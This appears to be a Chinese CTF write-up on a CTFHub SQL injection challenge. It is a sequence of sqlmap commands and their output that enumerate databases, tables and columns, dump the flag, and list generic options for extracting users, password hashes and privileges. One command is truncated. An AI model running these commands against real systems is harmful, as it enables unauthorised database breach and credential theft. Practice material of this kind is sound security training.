assert(0)

1
sqlmap -u "http://challenge-ee02641a7b40090e.sandbox.ctfhub.com:10800/?id=1"             //检测过程中需要手动输入y/n，即是否继续进行[sql注入](sql注入.md)检测
2
sqlmap -u "http://challenge-ee02641a7b40090e.sandbox.ctfhub.com:10800/?id=1" --batch     //检测过程中默认继续进行[sql注入](sql注入.md)检测

1
sqlmap -u "http://challenge-ee02641a7b40090e.sandbox.ctfhub.com:--dbs

1
available databases [4]:
2
[*] information_schema
3
[*] mysql
4
[*] performance_schema
5
[*] sqli

1
sqlmap -u "http://challenge-ee02641a7b40090e.sandbox.ctfhub.com:10800/?id=1" --current-db

1
sqlmap -u "http://challenge-ee02641a7b40090e.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' --tables

1
Database: sqli
2
[2 tables]
3
+------+
4
| flag |
5
| news |
6
+------+

1
sqlmap -u "http://challenge-ee02641a7b40090e.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' -T 'flag' --columns

1
Database: sqli
2
Table: flag
3
[1 column]
4
+--------+--------------+
5
| Column | Type         |
6
+--------+--------------+
7
| flag   | varchar(100) |
8
+--------+--------------+

1
sqlmap -u "http://challenge-ee02641a7b40090e.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' -T 'flag' --dump

1
abase 'sqli'
2
Database: sqli'
3
Table: flag
4
[1 entry]
5
+----------------------------------+
6
| flag                             |
7
+----------------------------------+
8
| ctfhub{4598642ab583bc461923d8c9} |
9
+----------------------------------+

1
sqlmap -u "http://challenge-ee02641a7b40090e.sandbox.ctfhub.com:10800/?id=1" --current-user

1
sqlmap -u 完整url --users

1
sqlmap -u 完整url --passwords

1
sqlmap -u 完整url --privileges

1
sqlmap -u 完整url --is-dba

1
sqlmap -r '数据包路径' --dbs --batch

1
sqlmap -m xxx.txt

1
sqlmap -r xxx.txt